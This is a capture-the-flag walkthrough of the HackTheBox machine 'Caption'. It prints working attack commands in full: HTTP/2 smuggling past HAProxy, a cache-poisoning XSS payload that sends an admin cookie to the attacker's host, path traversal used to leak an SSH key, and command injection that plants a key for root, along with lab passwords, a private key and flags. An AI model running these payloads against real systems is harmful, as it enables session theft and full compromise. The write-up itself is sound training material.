HackTheBox | Caption

In this walkthrough, I demonstrate how I obtained complete ownership of Caption on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Hard Challenge
Owned Caption from Hack The Box!
I have just owned machine Caption from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Sat Sep 28 12:30:05 2024 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.230.251
Nmap scan report for 10.129.230.251
Host is up (0.016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp open  http-proxy
|_http-title: GitBucket
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Sat, 28 Sep 2024 16:30:20 GMT
|     Set-Cookie: JSESSIONID=node0tlrlc41ivm70h2uqx5n2fakl2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5922
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.230.251:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.129.230.251:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/imag
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 28 Sep 2024 16:30:19 GMT
|     Set-Cookie: JSESSIONID=node01l7iv2arfip7k5fmi3kli4pk90.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 8635
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.230.251:8080/" />
|     <meta property="og:image" content="http://10.129.230.251:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20240928163019"
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 28 Sep 2024 16:30:20 GMT
|     Set-Cookie: JSESSIONID=node0ewavdicgxk7plrhz3cbqch5l1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 28 12:30:32 2024 -- 1 IP address (1 host up) scanned in 26.58 seconds
💡
Don't miss an opportunity to find some breadcrumbs in the nmap output. We can see references to caption.htb in the HTTP output, so let's go ahead and get that added to our /etc/hosts/ file.
echo -e '10.129.230.251\t\tcaption.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Walking the “happy path” · Pwning OWASP Juice Shop

There's not much to the website running on tcp/80, no clickable elements or input points other than the login form.

At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

Robots and Sitemap

Neither /robots.txt nor /sitemap.xml were discovered on this server, so we'll have to enumerate additional resource using brute force.



Gobuster Enumeration

Virtual Hosts
gobuster vhost --domain caption.htb --append-domain -u http://10.129.230.251 -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 100
No additional virtual hosts were discovered on the target web server using this specific word list, so we'll discontinue further testing of this for now



Directories and Files
gobuster dir -u http://caption.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt -d -t 100 -o 80_admin.txt
/Download             (Status: 403) [Size: 94]
/Logs                 (Status: 403) [Size: 94]
The HTTP status codes on the discovered resources indicate that we'll need a login of some sort to access these. Since we don't have a valid credential, we'll discontinue further testing of this for now.



TCP/8080

Source Code Review

The GitBucket server running on tcp/8080 contains a lot of valuable information without even needing to log in. Some notable points from the source code review that I found are:

HAProxy Reverse Proxy

frontend http_front
   bind *:80
   default_backend http_back
   acl multi_slash path_reg -i ^/[/%]+
   http-request deny if multi_slash
   acl restricted_page path_beg,url_dec -i /logs
   acl restricted_page path_beg,url_dec -i /download
   http-request deny if restricted_page
   acl not_caption hdr_beg(host) -i caption.htb
   http-request redirect code 301 location http://caption.htb if !not_caption
 
backend http_back
   balance roundrobin
   server server1 127.0.0.1:6081 check
  • The web server running on tcp/80 seems to be HAProxy
    • Appears to be serving as a reverse proxy to 127.0.0.1:6081
    • I'm inclined to see if we can probe other TCP ports through the reverse proxy



Password in Source Code

💡
We can see the Fixed HAProxyBypass commit message in the most recent commit, so it would be a good idea to go back and review the commit history to see what was patched, and if there are any passwords in the source code
Click the "11commits" button to see the commit history
Looking at different commits in the history, we can click the "0e3bafe" button to view the state of the source code as it appeared at that commit
There's a safe bet that the password was not changed, with only the source code being refactored



Possible Remote Code Execution

The server.go code in the Logservice repository seems susceptible to RCE, as the /bin/sh -c on the logs input is very interesting. I suspect that we may be able to poison the User-Agent line of the logs when examining the regex. It seems like this server will be bound to tcp/9090, which doesn't appear to be open externally.



Logging into Caption Portal

Indeed... The user margo and the password vFr&cS2#0! are valid for the Caption Portal running on tcp/80
Unfortunately, this password doesn't appear to work with SSH. It also appears that Margo is not an admin on the Caption Portal, but we'll continue to enumerate the attack surface some more. This may have something to do with the HAProxy bypass that was patched.
   acl multi_slash path_reg -i ^/[/%]+
   http-request deny if multi_slash

This is the logic that was added to the HAProxy config in the latest commit, so we can assume that you used to be able to /logs by entering //logs, which has now been apparently patched. This regex states that if the URL path starts with a / and contains the characters / or % afterwards, then the request should be denied.

ℹ️
I tried fuzzing and searching for some HTTP 403 bypasses for HAProxy, but none of the suggestions seem to work for which ever version is running on the target.



Failed Attempt at HTTP Smuggling

I did have some luck with a possible HTTP smuggling, as I was able to get different responses from the backend server, but the error stated that I didn't have the Supervisor role, so couldn't hit the /logs endpoint. I did also try fuzzing for some alternate directories, but came up short.

Research on h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext…
Upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections can allow a bypass of edge-proxy access controls.
python3 h2csmuggler/h2csmuggler.py -x http://caption.htb -H "$cookie" "http://localhost:6081/logs"
The second HTTP request after being tunneled through HTTP/2 via HAProxy
💡
If we open the redirect to /?err=role_error in a different browser window, we can see the error message indicating insufficient permissions, despite being able to hit the backend server. We can reach the /logs endpoint, so we're bypassing the HAProxy checks as indicated in the BishopFox research. But, the backend application has additional checks to see if the user --- margo in this case --- can hit the target endpoint.
"Require Supervisor Role"



Doing More Research on the Target

Looking at the web technology stack for the target, we can see they're employing:

  • HAProxy (Reverse Proxy)
  • Varnish 6.6 (HTTP Accelerator / Caching)
  • Python Flask (Werkzeug/3.0.1 | Python 3.10.12)

Post-authentication, there are some interesting artifacts in the page source:

<script src="http://caption.htb/static/js/lib.js?utm_source=http://internal-proxy.local"></script>
  
  <link href="http://caption.htb/static/css/bootstrap.min.css?utm_source=http://internal-proxy.local" rel="stylesheet"
    integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
ℹ️
If it isn't clear, the ?utm_source=http://internal-proxy.local bit is a thread worth chasing as well
UTM parameters - Wikipedia
Also, this note on the /firewalls URL is interesting. I don't think this is there by coincidence, and should be considered a breadcrumb of some sort. We should expect that there may be some kind of automated monitoring of this site or page.
Doing some more research on the ?utm_source query parameter, it seems that this has been used for reflected XSS in the past in bug bounty reports. The only problem here is we don't have a means of sending this to some administrator that I'm aware of yet.



Varnish Cache Poisoning

Doing some additional research on the tech stack and breadcrumbs in the page source, this comes back as a possible attack.
💡
We have to remember that there's a Varnish caching server sitting in front of the Flask server. So, pages we request will be served from the cache if they exist. If we can overwrite the cached page, then when an administrator views the page next, the XSS payload should be stored and executed by the user.
[HTTP CLIENT] <---> [HAProxy] <--- [VARNISH]
                                       |
                                  PAGE CACHED?
                                       |
                                       |
                                  YES--'--NO-----.
                                   |             |     REQUEST
                             TTL EXPIRED?        |----- FRESH ---->[WEB SERVER]
                                   |             |      PAGE
                            NO-----'------YES----'
                            |
                            v
                   RETURN CACHED PAGE
Cache Poisoning and Cache Deception | HackTricks
How to clear complete cache in Varnish?
I’m looking for a way to clear the cache for all domains and all URLs in Varnish. Currently, I would need to issue individual commands for each URLs, for example: curl -X PURGE http://example.com…

After some extensive Googling, and trial and error, I found a cache purge solution that finally worked ...

cookie='Cookie: JSESSIONID=node01wf67u973wzvi10r6rhluetnu00.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzI3ODIyNDMzfQ.8OjwCWEL64DhgyIg6d0c_ynFqWQ72cjHoZDjIrmKQkI'
xss_payload='X-Forwarded-Host: xss_in_cache'
curl -X XCGFULLBAN http://caption.htb && sleep 1 && curl -H "$cookie" -H "$xss_payload" 'http://caption.htb/firewalls'

Using the custom HTTP method, XCGFULLBAN can cause the Varnish server to purge the entire cache for the domain in certain configurations. In other situations, we can try the PURGE or BAN HTTP methods, but those didn't work for me, as I received a HTTP 405.

Pressing CTRL + SHIFT + R to force a hard refresh pulls the latest page content from the cache and my XSS payload is now sitting in the cached page
💡
It seems that the value in the ?utm_source query parameter is controlled by whatever is in the X-Forwarded-Host header. Coincidentally, the suggested payload in the HackTricks page yielded an easy potential win for us.
X-Forwarded-Host - HTTP | MDN
The X-Forwarded-Host (XFH) header is a de-facto standard header for identifying the original host requested by the client in the Host HTTP request header.

If we don't specifically set the X-Forwarded-Host header in the request, it's most likely that the HAProxy server may be setting an arbitrary value instead



<script src="http://caption.htb/static/js/lib.js?utm_source=http://xss_in_cache"></script>

Current value stored in the <script> tag. How can we craft the payload in such a way that we can inject HTML on the cached page?

<script src="http://caption.htb/static/js/lib.js?utm_source=http://xss_in_cache"></script><img src="x" onerror="document.location='http://10.10.14.154/?cookie='+document.cookie" /><script src=""></script>

Conceptual payload that we should ideally inject into the cached page. Let's explore what this might look like in an updated payload below.

💡
In order for this payload to work, we need to inject this into the X-Forwarded-Host header: xss_in_cache"></script><img src="x" onerror="document.location='http://10.10.14.154/?cookie='+document.cookie" /><script src="">
cookie='Cookie: JSESSIONID=node0jlwcfh38299ew6xrg0kq95vd3.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzI3ODk1NDYwfQ.CEiP6AzVwwHH_FzaofUWC3KPg7DYu7We6BIRrszkzI0'
xss_payload='X-Forwarded-Host: xss_in_cache"></script><img src="x" onerror="document.location='"'"'http://10.10.14.154/?cookie='"'"'+document.cookie" /><script src="">'
curl -X XCGFULLBAN http://caption.htb && sleep 1 && curl -H "$cookie" -H "$xss_payload" 'http://caption.htb/firewalls'
And, just like that, we got a call back to our ad-hoc server and can see the cookie payload in the URL query string! 🎉



It's not going to be as easy as just updating the cookie in your browser Developer Tools and just opening the page. You've still got HAProxy sitting in front of the target application blocking access to /logs and /download. So, we'll need to fall back on the HTTP smuggling efforts from before.
# Set the stolen cookie in the $cookie variable
cookie='Cookie: JSESSIONID=node01wf67u973wzvi10r6rhluetnu00.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI3ODkxNzI3fQ.XPtp7q1s18TUYpSi3ydh51ZrMnNoFkqhAgsBb1H7VIg'
python3 h2csmuggler/h2csmuggler.py -x http://caption.htb -H "$cookie" "http://127.0.0.1:6081/logs"
Excellent! We can now see URLs to download logs ... Let's also check /download
Initial error indicates something's amiss, but on second glance, we can see in the screenshot above /download?url=, which seems like we might need to use the correct parameter
Perfect...
We can also see in the page source for http://127.0.0.1:3923 that this is a copyparty server



Exploiting Path Traversal in Downstream Server

Research indicates that this server may be vulnerable to a path traversal bug, but we can't be sure since I don't see server version disclosure in the source code anywhere, but it's worth a shot...
I had to double encode the payload, as the original didn't work. So %2F now becomes %252f, because we encode the % in front of 2F. This may be due to the fact that we're going through HAProxy to reach the downstream server, which is likely decoding the %2F before it reaches copyparty
Hitting the /etc/passwd file, we can see some directories worth inspecting, as there may be some SSH keys in the user folders.
/home/margo/.ssh/id_ecdsa, as id_rsa was not found, so I checked for other possible encryption algorithms used when generating the key





Exploit

Compound Exploit

The attack path to land a shell on the target as margo followed the path below:

  1. Discovery of HTTP/2 cleartext smuggling
  2. Research and discovery of Varnish cache poisoning by injecting HTML into ?utm_source parameter by way of X-Forwarded-Host header
  3. Abusing previously discovered H2C HTTP smuggling attack with stolen admin cookie to access a downstream copyparty file server
  4. Abuse path traversal bug in unpatched copyparty server for access to system files leading to SSH key leak
touch margo_key
chmod 600 margo_key
nano margo_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
ssh -i margo_key margo@caption.htb





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux caption 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1000(margo) gid=1000(margo) groups=1000(margo)

Sorry, user margo may not run sudo on caption.    



Users and Groups

Local Users

margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash    

Local Groups

varnish:x:121:ruth
margo:x:1000:
ruth:x:1001:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:e1:91 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.244.170/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2323sec preferred_lft 2323sec    

Open Ports

tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6081          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      1035/python3        
tcp        0      0 127.0.0.1:3923          0.0.0.0:*               LISTEN      1026/python3        
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -    



Processes and Services

Interesting Processes

root        1001  0.0  0.0   6896  3000 ?        Ss   Oct01   0:00 /usr/sbin/cron -f -P
root        1006  0.0  0.1  10344  4172 ?        S    Oct01   0:00  \_ /usr/sbin/CRON -f -P
ruth        1029  0.0  0.0   2892   968 ?        Ss   Oct01   0:00  |   \_ /bin/sh -c cd /home/ruth;bash varnish_logs.sh
ruth        1032  0.0  0.0   7372  3484 ?        S    Oct01   0:00  |       \_ bash varnish_logs.sh
ruth        1033  1.0  0.2  86284  8784 ?        S    Oct01  16:36  |           \_ varnishncsa -c -F %{VCL_Log:client_ip}x
ruth        1034  0.0  0.0   7372  2048 ?        S    Oct01   0:00  |           \_ bash varnish_logs.sh
root        1007  0.0  0.1  10344  4172 ?        S    Oct01   0:00  \_ /usr/sbin/CRON -f -P
margo       1028  0.0  0.0   2892   940 ?        Ss   Oct01   0:00  |   \_ /bin/sh -c cd /home/margo;/usr/bin/java -jar gitbucket.war
margo       1030  0.3  7.8 3646980 315412 ?      Sl   Oct01   5:20  |       \_ /usr/bin/java -jar gitbucket.war
root        1008  0.0  0.1  10344  4172 ?        S    Oct01   0:00  \_ /usr/sbin/CRON -f -P
margo       1031  0.0  0.0   2892  1008 ?        Ss   Oct01   0:00  |   \_ /bin/sh -c cd /home/margo/app;python3 app.py
margo       1035  0.0  1.1 500712 46568 ?        Sl   Oct01   0:18  |       \_ python3 app.py
root        1009  0.0  0.1  10344  4172 ?        S    Oct01   0:00  \_ /usr/sbin/CRON -f -P
margo       1023  0.0  0.0   2892  1000 ?        Ss   Oct01   0:00  |   \_ /bin/sh -c cd /home/margo;python3 copyparty-sfx.py -i 127.0.0.1 -v logs::r
margo       1026  0.0  0.9 1166064 37212 ?       Sl   Oct01   0:01  |       \_ python3 copyparty-sfx.py -i 127.0.0.1 -v logs::r
root        1010  0.0  0.1  10348  4076 ?        S    Oct01   0:00  \_ /usr/sbin/CRON -f -P
root        1022  0.0  0.0   2892   968 ?        Ss   Oct01   0:00      \_ /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root        1025  0.0  0.4 1240804 17632 ?       Sl   Oct01   0:04          \_ /usr/local/go/bin/go run server.go
root        1377  0.0  0.1 1083704 4684 ?        Sl   Oct01   0:00              \_ /tmp/go-build2899115488/b001/exe/server    



Interesting Files

/home/margo/app/app.py

        password = request.form['password']
        if username == 'margo' and password == 'vFr&cS2#0!':
            resp = make_response(redirect(url_for('home')))
            jwt_token, expiration_time = create_jwt_token("margo")
            resp.set_cookie('session', jwt_token, expires=expiration_time, httponly=False)
            return resp
        elif username == 'admin' and password == 'cFgjE@0%l0':
            resp = make_response(redirect(url_for('home')))
            jwt_token, expiration_time = create_jwt_token("admin")
            resp.set_cookie('session', jwt_token, expires=expiration_time, httponly=False)
            return resp    

/etc/haproxy/haproxy.cfg

   #Add client ip to request if matches /firewalls route
   acl is_firewalls path_beg /firewalls
   acl white_list src 127.0.0.1
   http-request set-uri /firewalls?ip=%[src] if !white_list is_firewalls

/etc/varnish/default.vcl

vcl 4.0;

import std;

backend default {
    .host = "127.0.0.1";
    .port = "8000";
}

sub vcl_recv {
    unset req.http.proxy;
    if (req.url ~ "/firewalls" && req.url ~ "(\?|\&)ip=10\.10\..*") {
        return (hash);
    }
    if (req.method == "XCGFULLBAN") {
        ban("req.http.host ~ .*");
        return (synth(200, "Full cache cleared"));
    }
}

sub vcl_backend_response{
    if (bereq.url ~ "/firewalls" && bereq.url ~ "(\?|\&)ip=10\.10\..*" && beresp.status == 200) {
        set beresp.ttl = 120s;
        set beresp.http.cache-control = "public, max-age=120";
        return (deliver);
    }
}

sub vcl_deliver {
    if (obj.hits == 1) {
        set resp.http.X-Cache = "HIT";
        std.log("client_ip: " + regsub(req.url, ".*ip=([^&]+)&?.*", "\1"));
    }
    if (obj.hits == 0) {
        set resp.http.X-Cache = "MISS";
    }
    else {
        unset resp.http.X-Cache;
    }
}

/usr/local/go/src/log_service

Directory containing source code for the server presumably running on tcp/9090.





Privilege Escalation

Examining the Information

Looking at all of the information gathered in the initial enumeration of the target, as well as the post-exploit enumeration phase, I'm seeing two potential paths to pivoting laterally to the user, ruth or to the user, root.

  • /bin/sh -c cd /home/ruth;bash varnish_logs.sh — this process running under ruth context, which seems to indicate there might be something interesting with the varnish logs
  • /bin/sh -c cd /root;/usr/local/go/bin/go run server.go — this process running under root context, which is almost certainly server.go for the Logservice project discovered earlier on the GitBucket server
💡
Of the two, the server.go process is the most interesting, as we've already seen the source code and know there's potential RCE in the way the server parses log file contents. I'll cover some key points of the code below.

Lines 19-23: Make sure the file exists
Lines 24-25: Define regex to filter IP and User-Agent strings from the requested log file
Line 26: Create the output.log file for writing parsed logs
Lines 32-44: Use bufio to parse the requested log file
Lines 42-43: Run /bin/sh -c "echo ... " to output the parsed contents to output.log



Compiling the Client Application

Looking at the source code in the GitBucket repository, I'm quite certain the log_service-remote.go is the client component to the server.go counterpart.

I tried building the client application on the target, but we don't have a required module
💡
Since the targets on HackTheBox don't have Internet access, in order to install the required thrift module, we'll use scp and copy the source code locally and compile
scp -r -i margo_key margo@caption.htb:/usr/local/go/src/log_service .

Copy the log_service source code locally to Kali

go mod init log_service
go mod tidy
cp go.* log_service
cd log_service
go build -o client ./log_service-remote/log_service-remote.go



Testing the Client Capabilities

ssh -i margo_key -f -N -L 127.0.0.1:9090:127.0.0.1:9090 margo@caption.htb

Forward tcp/9090 on Kali to tcp/9090 on the target

./log_service/client 'ReadLogFile' '/tmp/nosuchfile.txt'
./log_service/client 'ReadLogFile' '/home/margo/user.txt'
We've now verified that the server application is reading files or raising exceptions based on the given inputs to the ReadLogFile function



Malicious Log File

Since we know the server application will run /bin/sh -c "echo ... " on the parsed log file, specifically looking for IP address and User-Agent strings, we can create a malicious log file and have the server read it.

Since the regex filter for IP addresses has a boundary, only allowing \d{1,3},\d{1,3},\d{1,3},\d{1,3}, we can't poison this log line. However, the userAgentRegex pattern we can poison, as it will take any character except a starting " in the value of the User-Agent key.

echo '"user-agent":"'"'"'$(id > /tmp/id.txt)'"'"'"' > /tmp/pwnz.txt

Run this on the target to generate a malicious log file

💡
The '"'"' is necessary on both sides of the command injection, because we're nesting ' (single quotes) within single quotes
Malicious log file has been created on the target
Showing before and after that the file has been created after parsing the log



Becoming Root

echo '"user-agent":"'"'"'$(ssh-keygen -t rsa -b 4096 -f /tmp/root_key; cat /tmp/root_key.pub > /root/.ssh/authorized_keys; chown margo:margo /tmp/root_key*)'"'"'"' > /tmp/pwnz.txt

Create a new SSH keypair for root and make yourself owner of the SSH keys, so you can login



Flags

User

521c47cd7b91edb34448eb5269b47cf0    

Root

fd6cf0c21a7d030bc2a3fb498b668c00    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.